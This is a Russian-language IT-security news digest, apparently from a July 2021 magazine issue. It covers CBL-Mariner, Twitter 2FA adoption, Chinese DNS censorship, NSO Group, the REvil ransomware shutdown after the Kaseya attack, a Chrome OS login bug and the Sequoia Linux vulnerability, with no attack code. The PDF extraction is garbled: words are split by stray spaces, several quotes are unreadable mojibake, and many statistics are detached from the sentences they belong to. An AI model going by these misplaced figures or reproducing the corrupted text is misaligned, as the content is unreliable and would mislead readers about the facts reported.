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LINUX ОТ MICROSOFT
Ком пания Microsoft выложи ла на GitHub пер вую ста биль ную сбор ку собс твен- 
ного дис три бути ва Linux, CBL-Mariner (Common Base Linux), который был
опуб ликован под опен сор сной лицен зией MIT. Это внут ренний дис три бутив,
раз работан ный для облачной инфраструк туры, edge-про дук тов и сер висов
Microsoft.

CBL-Mariner 1.0 пред став ляет собой набор базовых RPM-пакетов,
которые ста нут осно вой будуще го обра за. В катало ге Microsoft нас читыва ется
более 3000 пакетов. Опи сание дис три бути ва гла сит, что он соз давал ся
с целью уни фика ции, как базовая плат форма для раз личных про дук тов и сер- 
висов. В час тнос ти, в ком пании CBL-Mariner при меня ется в работе облачно го
сер виса Azure.

За раз работ кой это го дис три бути ва сто ит так же коман да Linux Systems Group,
которая соз дала Windows Subsystem for Linux version 2 и отве чала за интегра- 
цию Linux в Windows.

Впер вые о CBL-Mariner загово рили еще осенью прош лого года, а теперь
один из инже неров Microsoft и вов се опуб ликовал под робное 
по соз данию ISO-обра зов CBL-Mariner, а ком пания выложи ла дис три бутив
на GitHub, не прив лекая к это му событию лиш него вни мания.

ру ководс тво

Иро нич но, что двад цать лет назад, в 2001 году, Стив Бал лмер называл
Linux «раковой опу холью» (впро чем, спус тя мно го лет он отка зал ся от этих
слов), а в наши дни Microsoft явля ется одним из наибо лее активных учас тни- 
ков опен сор сных про ектов в мире и вла деет GitHub.

2ФА В TWITTER
Ком пания Twitter опуб ликова ла отчет о проз рачнос ти, из которо го сле дует, что вла дель цы толь- 
ко  активных учет ных записей вклю чили хотя бы один метод двух фактор ной аутен тифика- 
ции (2ФА) в пери од с июля по декабрь 2020 года.

2,3%

От чет гла сит, что из всех  поль зовате лей, которые вклю чили 2ФА в ука зан ный пери од,
 исполь зовали SMS,  — при ложе ние для мно гофак торной аутен тифика ции и толь- 

ко  — аппа рат ный ключ безопас ности. Хотя Twitter поз воля ет вклю чать нес коль ко
методов 2ФА одновре мен но.
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Раз работ чики счи тают, что такие низ кие циф ры демонс три руют пос тоян ную необ ходимость
поощ рять более широкое внед рение 2ФА, а так же работать над упро щени ем таких про цедур.

СЛУЧАЙНЫЕ БАНЫ
В ПОДНЕБЕСНОЙ
Груп па уче ных из Уни вер ситета Сто уни-Брук, Мас сачусет ско го уни вер ситета,
Калифор ний ско го уни вер ситета в Бер кли, а так же Уни вер ситета Торон то
в Канаде попыта лась опре делить мас шта бы китай ской интернет-цен зуры,
изу чив работу «велико го китай ско го фай рво ла».

Ис сле дова ние дли лось более девяти месяцев, и спе циаль но для него
экспер ты соз дали сис тему под наз вани ем GFWatch, которая обра щалась
к доменам внут ри и за пре дела ми китай ско го интернет-прос транс тва, а затем
про веря ла, как «великий китай ский фай рвол» реаги рует на это и вме шива ется
в соеди нения на уров не DNS (для пре дот вра щения дос тупа к домену со сто- 
роны китай ских поль зовате лей или огра ниче ния дос тупа к внут ренним сай там
стра ны).

С помощью GFWatch иссле дова тели про вери ли 534 мил лиона раз личных
доменов, ежед невно обра щаясь при мер но к 411 мил лионам доменов, что бы
фик сировать, а затем переп роверять, пос тоян ны ли обна ружен ные ими бло- 
киров ки. В ито ге было под счи тано, что в нас тоящее вре мя «великий китай- 
ский фай рвол» бло киру ет око ло 311 тысяч доменов, при чем 270 тысяч бло- 
киро вок работа ют как нуж но, а еще 41 тысяча доменов, похоже, ока зались
заб локиро ваны слу чай но.

Ошиб ки воз никли из-за того, что китай ские влас ти пытались бло киро вать
домены, исполь зуя регуляр ные выраже ния для филь тра ции DNS, но они
не учи тыва ли слу чаи, ког да корот кий домен явля ется частью более длин ного
домен ного име ни, и бло киров ки зат ронули дру гие сай ты. Нап ример, влас ти
стра ны зап ретили дос туп к reddit.com, при этом слу чай но заб локиро вав
booksreddit.com, geareddit.com и 1087 дру гих сай тов.

Ис сле дова тель ская груп па сос тавила спи сок 311 тысяч заб локиро ван ных
доменов, что бы опре делить, какой тип кон тента китай ские влас ти зап реща ют
чаще все го. Исполь зуя сер висы, подоб ные FortiGuard, иссле дова тели выяс- 
нили, что око ло 40% заб локиро ван ных сай тов — это недав но зарегис три- 
рован ные домены, которые китай ские влас ти бло киру ют пре вен тивно, пока те
не катего ризи рова ли и не внес ли свой кон тент в белый спи сок.

Что каса ется про чих «зап рещен ных» доменов, чаще все го на них раз- 
меща ется биз нес-кон тент, пор ногра фия или информа ция, свя зан ная с ИТ.
Так же под бло киров ки попада ют сай ты, на которых раз мещены инс тру мен ты,
поз воля ющие обой ти бло киров ки, игор ные ресур сы, лич ные бло ги, раз вле- 
катель ные пор талы, новос тные и меди асай ты, а так же домены с вре донос ным
и мошен ничес ким кон тентом.

Так же инте рес но, что пос ле начала пан демии корона виру са к бло киров- 
кам добави лось мно го доменов, свя зан ных с COVID-19. В чис ле «зак рытых»
были: covid19classaction.it, covid19song.info, covidcon.org, ccpcoronavirus.com,
covidhaber.net и covid-19truth.info. Некото рые из этих сай тов содер жат
матери алы, обви няющие в пан демии корона виру са Китай.

«Ìû âûÿñ íèëè, ÷òî áîëü øèíñ òâî äîìåíîâ, çàá ëîêèðî âàí íûõ „âåëèêèì

êèòàé ñêèì ôàé ðâî ëîì“, íåïîïó ëÿð íû è âîîá ùå íå ïîïàäà þò â ñïèñ êè

ñàìûõ ïîïóëÿð íûõ ñàé òîâ», — ðàñ ñêà çûâà þò èññëå äîâà òåëè.

К при меру, из выбор ки в 138 700 доменов толь ко 1,3% сай тов (око ло 1800)
вхо дят в чис ло 100 тысяч самых популяр ных сай тов в интерне те (по дан ным
рей тин га Tranco).

Кро ме того, иссле дова тели заяви ли, что выяви ли слу чаи, ког да китай ские
DNS-бло киров ки, которые обыч но под разуме вают изме нение записей DNS,
воз вра щаемых китай ским поль зовате лям, слу чай но «пор тили» записи DNS
за пре дела ми китай ско го интернет-прос транс тва, в сетях некото рых DNS-
про вай деров. Такие ошиб ки зат ронули не менее 77 тысяч сай тов.

СНОУДЕН КРИТИКУЕТ NSO GROUP
В июле СМИ и акти вис ты в оче ред ной раз обру шились с обви нени ями на изра иль скую ком- 
панию NSO Group, раз рабаты вающую легаль ную спай варь. Они обна ружи ли мас штаб ные зло- 
упот ребле ния шпи онским ПО, соз данным NSO Group, — Pegasus. Яко бы спай варь ком пании
активно при меня ется для наруше ния прав челове ка и наб людения за полити ками, акти вис тами,
жур налис тами и пра воза щит никами по все му миру.

О ситу ации выс казал ся даже Эдвард Сно уден, в беседе с жур налис тами изда ния
The Guardian. По его сло вам, ком мерчес кий шпи онский софт «раз вязыва ет» руки влас тям мно- 
гих стран.

→ «Если не пытать ся оста новить про дажу таких тех нологий, речь будет идти уже
не о 50 тысячах целей. Будет 50 мил лионов целей, и это слу чит ся гораз до быс трее, чем любой
из нас может пред положить.

Ког да мы говорим о чем-то вро де iPhone, все такие устрой ства в мире исполь зуют одно
и то же ПО. Так что, если они най дут спо соб взло мать один iPhone, они най дут спо соб взло мать
их все.

Есть опре делен ные отрасли, опре делен ные сек тора, от которых нет защиты, и поэто му мы
ста раем ся огра ничить рас простра нение таких тех нологий. [К при меру,] мы не допус каем появ- 
ления ком мерчес кого рын ка ядер ного ору жия»
— заявил Эдвард Сно уден

БАЗА ДАННЫХ
О ВЫКУПАХ
Про ект , соз данный сту ден том Стэн форд ско го уни вер ситета
и ИБ-иссле дова телем из Krebs Stamos Group Дже ком Кей блом, — это бес- 
плат ная и откры тая база дан ных о пла тежах, которые были переве дены
вымога тель ским хак-груп пам.

Ransomwhere

Эта БД, лишен ная какой-либо лич ной информа ции, будет дос тупна
ИБ-спе циалис там и сот рудни кам пра воох ранитель ных орга нов для бес плат- 
ной заг рузки. К сожале нию, такая база может быть лег ко испорче на под дель- 
ными матери ала ми, и, что бы про тивос тоять это му, Кей бл пла ниру ет изу чать
все пред став ленные матери алы, а в будущем собира ется добавить сис тему
голосо вания для отдель ных лиц, что бы мож но было помечать отче ты как фик- 
тивные.

В целом сайт очень прост: он поз воля ет жер твам атак шиф роваль щиков
и спе циалис там по безопас ности передать Ransomwhere копии сво их
записок с тре бова нием выкупа, а так же сооб щить о раз мере выкупа и бит- 
койн-адре се, по которо му жер твы переве ли пла теж. Затем этот адрес будет
про индекси рован в обще дос тупной БД.

Ос новная идея зак люча ется в соз дании цен тра лизо ван ной сис темы,
которая отсле жива ет пла тежи, отправ ленные хакерам, что поз волит точ нее
оце нить мас шта бы их при былей и опе раций, о которых извес тно очень мало.
Соз датель про екта наде ется, что ано ним ный обмен дан ными о пла тежах
через сто рон ний сер вис, такой как Ransomwhere, устра нит некото рые барь- 
еры в ИБ-сооб щес тве, такие как сог лашения о нераз гла шении и деловая кон- 
курен ция.

По ка для рас ширения сво ей базы Кей бл опи рает ся лишь на пуб лично дос- 
тупные матери алы, но уже изу чает «воз можнос ти пар тнерс тва с ана лити чес- 
кими ком пани ями в области ИБ и блок чей на для интегра ции дан ных, которые
они, воз можно, име ют о пос тра дав ших».

Мно гие отме чают, что запуск про екта Ransomwhere очень похож на запуск
про екта ID-Ransomware, соз данно го Май клом Гил леспи в начале 2016 года.
Изна чаль но это был сайт, на который жер твы хакеров мог ли заг рузить
получен ные запис ки с тре бова нием выкупа, а сайт сооб щал им, какое семей- 
ство мал вари ата кова ло их сис темы и где они могут получить помощь в вос- 
ста нов лении фай лов. В ито ге ID-Ransomware стал незаме нимым инс тру мен- 
том для мно гих спе циалис тов по реаги рова нию на инци ден ты.

ЮБИЛЕЙ NO MORE RANSOM
В этом году сов мес тная ини циати ва пра воох ранитель ных орга нов и ИБ-ком паний со все го
мира, No More Ransom, отме тила пятилет ний юби лей, и учас тни ки про екта подели лись инте- 
рес ной ста тис тикой.

Про ект был запущен в 2016 году, и на сегод ня количес тво его учас тни ков вырос ло до .170

Офи циаль ный сайт No More Ransom пре дос тавля ет  бес плат ную ути литу для рас шифров ки
фай лов пос ле атак раз личных вре доно сов. Эти инс тру мен ты эффектив ны про тив  семей ства
вымога телей.

121
151

Ути литы, дос тупные в репози тории No More Ransom, уже помог ли  человек бес плат- 
но вос ста новить свои фай лы.

6 000 000

За вре мя сущес тво вания про екта экспер там уда лось пре дот вра тить получе ние зло умыш ленни- 
ками более  дол ларов США.900 000 000

ИСЧЕЗНОВЕНИЕ
REVIL
В середи не июля сай ты и вся инфраструк тура вымога теля REvil (Sodinokibi)
в целом ушла в офлайн без объ ясне ния при чин. Речь идет о целой сети обыч- 
ных и дар кнет-сай тов, которые исполь зуют ся для перего воров о выкупе, сли-
ва похищен ных у жертв дан ных и внут ренней инфраструк туры вымога теля.

Жур налис ты и ИБ-экспер ты отме чают, что вре мен ное «падение» одно- 
го-двух ресур сов — это нор маль но, но пол ное отклю чение всей инфраструк-
туры выг лядит край не стран но. К при меру, сайт decoder.re боль ше вооб ще
не резол вится с помощью DNS-зап росов, а это ука зыва ет на отклю чение
всей DNS-инфраструк туры на бэкен де или отсутс твие DNS-записей домена.

Продолжение статьи →

mailto:nefedova@glc.ru
https://blog.jreypo.io/2021/07/09/a-look-into-cbl-mariner-microsoft-internal-linux-distribution/
https://ransomwhe.re/
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Су дя по все му, при чиной это го исчезно вения ста ла  на кли- 
ентов извес тно го пос тавщи ка MSP-решений Kaseya, которую опе рато ры REvil
про вели в начале месяца. Для ата ки хакеры исполь зовали 0-day-уяз вимос ти
в про дук те ком пании (VSA).

мас штаб ная ата ка

Проб лема зак лючалась в том, что боль шинс тво пос тра дав ших сер веров
VSA исполь зовались MSP-про вай дерами, то есть ком пани ями, которые
управля ют инфраструк турой дру гих кли ентов. А зна чит, зло умыш ленни ки раз- 
верну ли шиф роваль щик в тысячах кор поратив ных сетей. По офи циаль ным
дан ным, ком про мета ция зат ронула око ло 60 кли ентов Kaseya, через
инфраструк туру которых хакеры смог ли зашиф ровать при мер но 800–
1500 кор поратив ных сетей.

Пос ле этой ата ки хакеры пот ребова ли выкуп в раз мере 70 мил лионов дол- 
ларов США и тог да пообе щали опуб ликовать уни вер саль ный дешиф ратор,
который может раз бло киро вать все пос тра дав шие компь юте ры. Вско ре груп- 
пиров ка «сни зила план ку» до 50 мил лионов дол ларов.

Кро ме того, в прош лом месяце REvil тоже попала на пер вые полосы мно- 
гих изда ний, так как ата кова ла ком панию JBS — круп ней ший в мире пос- 
тавщик говяди ны и пти цы, а так же вто рой по величи не про изво дитель сви- 
нины. Ком пания обслу жива ет кли ентов из 190 стран мира, в том чис ле США,
Авс тра лии, Канады, Великоб ритании.

Так как дав но извес тно, что REvil — рус ско языч ная хак-груп па, на днях пре- 
зидент США Джо Бай ден в телефон ном раз говоре приз вал пре зиден та Рос- 
сии Вла дими ра Путина пре сечь ата ки хакеров-вымога телей, дей ству ющих
с тер ритории РФ. Бай ден заявил, что, если пос ле это го Рос сия не при мет
меры, США будут вынуж дены при нять их сами.

«ß ïðå äåëü íî ÿñíî îáú ÿñíèë åìó [Ïóòèíó], ÷òî, êîã äà îïå ðàöèÿ ïðîã- 

ðàììû‑âûìîãà òåëÿ èñõî äèò ñ åãî òåð ðèòîðèè, Ñîåäè íåí íûå Øòà òû

îæè äàþò, ÷òî, äàæå åñëè îíà íå îðãà íèçî âàíà ãîñóäàðñ òâîì, îíè

áóäóò äåé ñòâî âàòü, åñëè ìû ïðå äîñ òàâèì èì äîñ òàòî÷ íî èíôîðìà öèè

î òîì, êòî ê ýòî ìó ïðè ÷àñ òåí», — ñîîá ùèë Áàé äåí æóð íàëèñ òàì ïîñ ëå

òåëåôîí íîãî ðàç ãîâîðà.

Так же сто ит отме тить, что сов сем недав но в похожих обсто ятель ствах свою
деятель ность экс трен но прек ратили опе рато ры вымога телей DarkSide
и Babuk. Пер вая груп пиров ка «зак рылась» пос ле мас штаб ной ата ки на аме- 
рикан ско го опе рато ра тру боп ровода Colonial Pipeline, так как прив лекла
к себе слиш ком мно го вни мания (в том чис ле со сто роны пра воох ранитель- 
ных орга нов). Вто рая груп па объ яви ла о прек ращении работы пос ле гром кой
ата ки на полицей ское управле ние Вашин гто на.

Вско ре пос ле исчезно вения REvil пред ста витель хак-груп пы, сто ящей
за вымога телем LockBit, сооб щил на извес тном хакер ском форуме XSS, что,
по слу хам, опе рато ры REvil стер ли свои сер веры, узнав о неко ем «зап росе
орга нов».

Пос ле пуб ликации это го сооб щения адми нис тра ция XSS и вов се забани ла
на форуме поль зовате ля Unknown, пуб лично го пред ста вите ля груп пы REvil.
Как пра вило, адми нис тра ция хак-форумов бло киру ет поль зовате лей в том
слу чае, если есть подоз рения, что акка унт находит ся под кон тро лем полиции.

ФАЛЬШИВЫЙ МАЙНИНГ
По дан ным ком пании Lookout, око ло  поль зовате лей пла тили мошен никам за 
Android-при ложе ния для облачно го май нин га крип товалю ты, которые не работа ли.

93  000 172

Ис сле дова тели раз делили фей ки на два отдель ных семей ства: BitScam (  уста новок)
и CloudScam (  уста новок).  фаль шивых при ложе ний были дос тупны в офи циаль ном
Google Play Store, тог да как дру гие рас простра нялись через сто рон ние магази ны.

83  800
9600 25

Воп реки рек ламным заяв лени ям, в при ложе ниях поп росту не было фун кций облачно го май нин- 
га. Вмес то это го мошен ники напол няли свои кошель ки, про давая под делки, которые не делали
ничего. В общей слож ности прес тупни ки «зарабо тали» более  дол ларов: 
дол ларов от про дажи при ложе ний и еще  дол ларов за фей ковые обновле ния и допол- 
нитель ные услу ги.

350  000 300  000
50 000

DUCKDUCKGO
ПРОТИВ ТРЕКЕРОВ
Раз работ чики поис ковика DuckDuckGo соз дали email-сер вис, уда ляющий
из вхо дящих сооб щений любые тре керы, которые, к при меру, помога ют сос- 
тавлять про фили поль зовате лей для тар гетиро ван ной рек ламы. Поль зовате ли
нового сер виса получа ют бес плат ный адрес на @duck.com, где пись ма очи- 
щают ся от тре керов, пос ле чего пересы лают ся в обыч ный поч товый ящик.

В нас тоящее вре мя сер вис зарабо тал в режиме зак рытого бета-тес та.
Пока вос поль зовать ся им мож но, толь ко встав в «оче редь» через спе циаль- 
ный спи сок ожи дания, новые заяв ки в который при нима ются ежед невно.

Раз ного рода тре керы могут сооб щать отпра вите лям элек трон ной поч ты,
ког да поль зователь откры вает их сооб щение, и помога ют рек ламным ком- 
пани ям соз дать про филь челове ка на осно вании соб ранных метадан ных
(какое устрой ство исполь зовали для чте ния пись ма, ког да его откры ли, дан- 
ные о мес тополо жении и так далее). Хуже того, эти дан ные в ито ге могут
попасть в руки треть их лиц.

«Åñëè âû èñïîëü çóåòå ïî÷ òîâûé ñåð âèñ, òàêîé êàê Gmail èëè Yahoo,

ýòî íå ïðîá ëåìà! Ýëåê òðîí íûå ïèñü ìà, îòïðàâ ëåííûå íà âàø ëè÷ íûé

Duck-àäðåñ, áóäóò ïðè õîäèòü òóäà, êàê îáû÷ íî, òàê ÷òî âû ñìî æåòå

÷èòàòü ñâîþ ýëåê òðîí íóþ ïî÷ òó â ëþáîì ïðè ëîæå íèè èëè â èíòåðíå òå,

áåç ïðîá ëåì», — ãîâîðÿò ðàç ðàáîò ÷èêè DuckDuckGo.

Так же новый сер вис будет пре дос тавлять одно разо вые поч товые ящи ки,
к при меру для исполь зования на недове рен ных сай тах, которые могут навяз- 
чиво спа мить сооб щени ями или делить ся email-адре сами с кем-то еще.

В DuckDuckGo уве ряют, что сер вис ни в коем слу чае «не будет сох ранять
ваши элек трон ные пись ма», а поч та вооб ще будет толь ко обра баты вать ся
в памяти. Так, получив email, сер вис уда лит из него скры тые тре керы и переш- 
лет на ука зан ный адрес, даже не сох ранив сопутс тву ющие заголов ки, нап- 
ример с ука зани ем отпра вите лей и получа телей.

Ко неч ный адрес получа теля — это единс твен ная лич ная информа ция,
которую DuckDuckGo будет сох ранять (по понят ным при чинам). Но если поль- 
зователь захочет уда лить свою учет ную запись, его email-адрес в ито ге тоже
будет уда лен из сис темы в течение 30 дней.

БАЙДЕН ОБ ОПАСНОСТИ ВЫМОГАТЕЛЕЙ
В пос леднее вре мя ата ки вымога телей и шиф роваль щиков на объ екты кри тичес кой
инфраструк туры перес тали быть ред костью. К при меру, авто ры мал вари DarkSide ата кова ли
одно го из круп ней ших в США опе рато ров тру боп ровода, ком панию Colonial Pipeline, чем спро- 
воци рова ли вве дение режима ЧС в ряде шта тов.

Так же мож но вспом нить, что в прош лом месяце хак-груп па REvil ата кова ла ком панию JBS —
круп ней ший в мире пос тавщик говяди ны и пти цы, а так же вто рой по величи не про изво дитель
сви нины. Пос ле этих и нес коль ких дру гих инци ден тов на круп ней ших хак-форумах вов се зап- 
ретили рек ламиро вать и обсуждать шиф роваль щики, и мно гие груп пиров ки пред почли на вре- 
мя уйти в тень.

Учас тивши еся ата ки вымога телей и сло жив шуюся вок руг них ситу ацию про ком менти ровал
пре зидент США Джо Бай ден.

→ «Зна ете, мы наб люда ем, что киберуг розы, вклю чая ата ки прог рамм-вымога телей, все чаще
спо соб ны наносить реаль ный ущерб и вре дить реаль ному миру. [В этом воп росе] я информи- 
рован нас коль ко же, нас коль ко вы, и не могу ничего гаран тировать, но я счи таю, что... если мы
закон чим вой ной, нас тоящей вой ной, со стрель бой, с дру гой круп ной дер жавой, то это будет
следс твие кибера таки с серь езны ми пос ледс тви ями. И веро ятность такого [исхо да] рас тет
в геомет ричес кой прог рессии»
— пре дос терег Джо Бай ден

БЛОКИРОВКА
CHROME OS
Вы пус тив Chrome OS вер сии 91.0.4472.167, инже неры Google испра вили
серь езную ошиб ку, из-за которой люди не мог ли поль зовать ся сво ими
устрой ства ми (пос ле уста нов ки вер сии 91.0.4472.165). Из-за опе чат ки,
допущен ной в коде, поль зовате ли не мог ли вой ти в сис тему, а девай сы,
работа ющие под управле нием Chrome OS, по сути, ока зались заб локиро- 
ваны.

Проб лема усу губ лялась тем, что Chrome OS заг ружа ет обновле ния авто- 
мати чес ки и перехо дит на новую вер сию пос ле перезаг рузки устрой ства. То
есть пос ле штат ной перезаг рузки люди с удив лени ем обна ружи вали, что их
девайс пол ностью заб локиро ван.

Жур налис там Android Police уда лось обна ружить корень этой проб лемы.
Изда ние ссы лает ся на ком мента рий поль зовате ля elitist_ferret, най ден ный
на Reddit. Тот писал, что баг, оче вид но, сво дил ся к баналь ной одно сим воль- 
ной опе чат ке. Стро ка кода в Cryptohome VaultKeyset, где хра нят ся клю чи шиф- 
рования поль зовате лей, дол жна была выг лядеть так: 

. Но вмес то  в коде
исполь зовал ся толь ко один амперсанд.

if (key_data_.
has_value() && !key_data_->label().empty()) { &&

В ито ге Chrome OS не про веря ла пароли поль зовате лей, сопос тавляя их
с сох ранен ными клю чами, и даже кор рек тно вве ден ные пароли воз вра щались
с сооб щени ем об ошиб ке: «К сожале нию, ваш пароль не может быть верифи- 
циро ван».

Поль зовате лям, пос тра дав шим от обновле ния 91.0.4472.165, рекомен- 
довали дож дать ся пов торно го обновле ния устрой ства (на рас простра нение
исправ ленной вер сии пот ребова лось «нес коль ко дней») или очис тить девайс
при нуди тель но, то есть сте реть с него все локаль ные дан ные и вой ти в сис- 
тему.

Так как Chrome OS в основном работа ет в обла ке, очис тка устрой ства соп- 
ряжена с мень шим количес твом проб лем, чем в обыч ных ОС, но некото рые
поль зовате ли все рав но жалова лись на потерю дан ных.

ДЫРЯВЫЕ ПРИЛОЖЕНИЯ
Ис сле дова тели Atlas VPN под счи тали, что более  всех при ложе ний для Android содер жат
уяз вимос ти, при этом сред нее количес тво оши бок в одном при ложе нии рав няет ся .

60%
39

Для это го иссле дова ния была изу чена безопас ность опен сор сных ком понен тов в  бес- 
плат ных и плат ных при ложе ниях из Google Play Store по сос тоянию на пер вый квар- 
тал 2021 года.

3335

Худ ший резуль тат показа ли при ложе ния из катего рии бес плат ных игр:  из них содер жат
уяз вимые ком понен ты. Сле дом идут самые при быль ные плат ные игры (  уяз вимы), а за
ними, как ни стран но, сле дуют бан ков ские при ложе ния (  уяз вимы).

96%
94%

88%

Все го было обна руже но  уни каль ных уяз вимос тей, которые про яви лись в при ложе ниях
более  раз. При этом  уяз вимос тей были обна руже ны более двух лет назад, одна ко
до сих пор встре чают ся в при ложе ниях.
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Боль шинс тво этих оши бок мож но было испра вить, если бы раз работ чики утружда ли себя про- 
веде нием ауди тов. В обра зова тель ных при ложе ниях мож но устра нить  уяз вимос тей, а в
при ложе ниях для повыше ния про изво дитель нос ти и бан ков ских при ложе ниях  и .

43%
41% 39%

ПОРНОГРАФИЯ
И НОВОСТИ
Поль зовате ли круп ных новос тных сай тов, вклю чая The Washington Post, New
York Magazine, HuffPost и мно гие дру гие ресур сы, обна ружи ли, что вмес то
обыч ных видео в стать ях отоб ража ются пор нороли ки. Это про изош ло из-за
про дажи домена Vid.me, который не работал нес коль ко лет, а теперь сме нил
вла дель цев.

Пер вым на эту проб лему обра тило вни мание изда ние Vice Motherboard.
Жур налис ты рас ска зали, что кон тент для взрос лых появил ся на сай тах новос- 
тей пос ле того, как домен Vid.me был при обре тен пор носай том 5 Star Porn HD
и для домена вклю чили перенап равле ние на этот самый пор носайт. В ито ге
на стра ницах изда ний, куда ранее были встро ены ролики с Vidme, ока залось
жес ткое пор но.

Сер вис Vidme появил ся в 2014 году и изна чаль но задумы вал ся как некая
смесь YouTube и Reddit, но уже в 2017 году сайт прек ратил работу, не выдер- 
жав кон курен ции со сто роны Google и Facebook. За этим пос ледова ло сооб- 
щение в бло ге про екта, где говори лось, что Vidme про дан Giphy, а все видео
окон чатель но уда лят 15 декаб ря 2017 года. Это озна чало, что все iframe,
встра ивающие ролики Vidme на дру гие сай ты, дол жны были перес тать отоб- 
ражать что-либо или показы вать сооб щение об ошиб ке. Но что-то пош ло
не так.

Ока залось, что регис тра ция домена и его вла делец были обновле ны
в этом месяце. Похоже, регис тра ция домена поп росту истекла, и его успе ла
переку пить ком пания 5 Star HD Porn, которая в ито ге и перенап равила все
ссыл ки, ведущие на vid.me, на свой пор носайт.

Не извес тно, было слу чив шееся ошиб кой или кто-то в 5 Star HD Porn счел
воз можным про рек ламиро вать свой ресурс таким обра зом. В ком пании
не отве тили на зап росы жур налис тов.

КНОПОЧНЫЕ ТЕЛЕФОНЫ СНОВА ПОПУЛЯРНЫ
Пред ста вите ли круп ных ретей леров отме чают, что в пер вом полуго дии 2021 года в Рос сии
неожи дан но вырос ли про дажи прос тых кно поч ных телефо нов, ранее сни жав шиеся на 
в год. За этот пери од было про дано  кно поч ных телефо нов, это на  боль ше, чем
за тот же пери од 2020 года.

5–10%
3 100 000 6,7%

В денеж ном выраже нии про дажи вырос ли на , дос тигнув  руб лей.18,8% 4 500 000 000

В пятер ку наибо лее популяр ных про изво дите лей вош ли , , ,  и 
.

Nokia Philips teXet Itel BQ
mobile
Ана лити ки говорят, что рань ше такие устрой ства покупа ли в основном для детей и пожилых
людей, а так же прос тыми устрой ства ми обза води лись тру довые миг ранты. Теперь же рост про- 
даж свя зыва ют с пан деми ей и уда лен ной работой, так как уда лен ные сот рудни ки заменя ют
кно поч ными аппа рата ми ста ционар ные устрой ства. Кро ме того, счи тает ся, что повыси лась
осве дом ленность людей о раз ного рода мошен ничес твах и кра жах дан ных.

НОВАЯ ДЫРА В LINUX
Эк спер ты ком пании Qualys обна ружи ли новую уяз вимость в Linux, бла года ря
которой зло умыш ленни ки могут получить root-дос туп в боль шинс тве дис три- 
бути вов, вклю чая Ubuntu, Debian и Fedora.

Уяз вимость получи ла наз вание Sequoia и иден тифика тор CVE-2021-33909.
Баг был обна ружен на уров не локаль ного ком понен та lesystem, который вза- 
имо дей ству ет с локаль ными фай лами и исполь зует ся для управле ния ими.

Ис сле дова тели объ ясня ют, что при соз дании, мон тирова нии и пос леду- 
ющем уда лении струк туры катало гов боль шой вло жен ности, с дли ной пути
более 1 Гбайт, воз ника ет ошиб ка Sequoia, пред став ляющая собой баг out-of-
bounds чте ния. Этот баг поз воля ет любой локаль ной учет ной записи с низ ким
уров нем при виле гий выпол нить код с при виле гиями root.

Уяз вимость не может исполь зовать ся для уда лен ных атак, но, если зло- 
умыш ленник уже про ник в сис тему, Sequoia может стать иде аль ным решени- 
ем для пей лоадов вто рого уров ня.

«Ìû óñïåøíî âîñ ïîëü çîâàëèñü ýòîé out-of-bounds-ïðîá ëåìîé

è ïîëó÷è ëè ïðè âèëå ãèè root â Ubuntu 20.04, Ubuntu 20.10, Ubuntu

21.04, Debian 11 è Fedora 34 Workstation. Äðó ãèå äèñ òðè áóòè âû Linux,

âåðî ÿòíî, òîæå óÿç âèìû è ïðè ãîä íû äëÿ ýêñ ïëó àòà öèè óÿç âèìîñ òè», —

ãîâîðÿò ñïå öèàëèñ òû.

Пат чи для CVE-2021-33909 были выпуще ны раз работ чиками мно гих дис три- 
бути вов в середи не июля, так как Qualys уве доми ла коман ду раз работ чиков
ядра Linux о баге еще в начале июня и проб лему испра вили в ядре вер- 
сии 5.13.4.

Сто ит отме тить, что в этом месяце коман да Qualys рас кры ла еще одну
Linux-уяз вимость: отказ в обслу жива нии, свя зан ный с systemd (CVE-2021-
33910). Эта уяз вимость может исполь зовать ся неп ривиле гиро ван ными зло- 
умыш ленни ками для DoS-атак и про воци рова ния «паники ядра» (kernel panic).

BUG BOUNTY MICROSOFT
Microsoft опуб ликова ла офи циаль ную ста тис тику, каса ющуюся работы 17 bug bounty прог рамм
ком пании и ее сис темы гран тов за пос ледний год.

В пери од с 1 июля 2020 года по 30 июня 2021 года об ошиб ках ком панию уве домил 
ИБ-иссле дова тель из  стран мира.
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Баг-репор ты при нес ли спе циалис там более  дол ларов, так как сум марно им уда- 
лось выявить  ошиб ку.

13 600 000
1261

Боль шинс тво сооб щений об ошиб ках пос тупило от иссле дова телей, про жива ющих в ,
 и .

Ки тае
США Из раиле

Са мая круп ная сум ма, при суж денная ком пани ей за пос ледний год, сос тавила  дол- 
ларов, и эту наг раду получил спе циалист, нашед ший кри тичес кую уяз вимость в Hyper-V.
В сред нем же вып лата за одну уяз вимость рав нялась при мер но  дол ларов.

200  000

10 000

Сум ма, пот рачен ная ком пани ей на bug bounty за про шед ший год, прак тичес ки рав на сум ме
за пери од с 1 июля 2019 года по 30 июня 2020 года. Тог да зат раты ком пании на воз награж- 
дения иссле дова телям сос тавили  дол ларов США.13 700 000

Продолжение статьи →
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ВЗЛОМ
APEX LEGENDS
В пер вых чис лах июля игро ки королев ской бит вы Apex Legends, которую раз- 
рабаты вает ком пания Respawn Entertainment, начали мас сово жаловать ся
на появ ление стран ных сооб щений в поль зователь ском интерфей се игры.
При чем проб лема зат ронула поль зовате лей ПК, Xbox One и PS4.

Со обще ния при зыва ли спас ти дру гую игру этой же ком пании — Titanfall —
и вели на сайт SaveTitanfall.com, запущен ный ранее в этом году. На этом
ресур се пок лонни ки игры про сят раз работ чиков Respawn вме шать ся в про- 
исхо дящее и разоб рать ся с хакера ми, из-за которых Titanfall уже нес коль ко
лет стра дает от пос тоян ных DDoS-атак.

«TF1 ïîä âåðãà åòñÿ àòà êàì, à çíà ÷èò, òàê æå áóäåò ñ Apex», — ïèñàëè

íåèç âåñ òíûå âçëîì ùèêè.

Тог да как одни игро ки сооб щали, что при зывы спас ти Titanfall появ ляют ся
в игре виде бан нера или всплы вающе го сооб щения, которое отоб ража ется
пос ле каж дого раун да, дру гие жалова лись, что у них из-за взло ма вооб ще
появил ся «новый режим» SaveTitanfall, из-за которо го дру гие режимы и поиск
мат чей поп росту не работа ли.

Ка ким обра зом была реали зова на эта ата ка, до сих пор неяс но, но пред- 
ста вите ли Respawn Entertainment быс тро сооб щили, что им извес тно о проб- 
леме, а вско ре отчи тались о ее устра нении. На ком мента рии жур налис тов,
которые инте ресо вались деталя ми слу чив шегося, в ком пании не отве тили.

Ин терес но, что соз датели сай та SaveTitanfall, на который хакеры нап равля- 
ли поль зовате лей, пос пешили сооб щить, что не име ют к этой ата ке никако го
отно шения.

ХАКЕРСКИЕ ИГРЫ
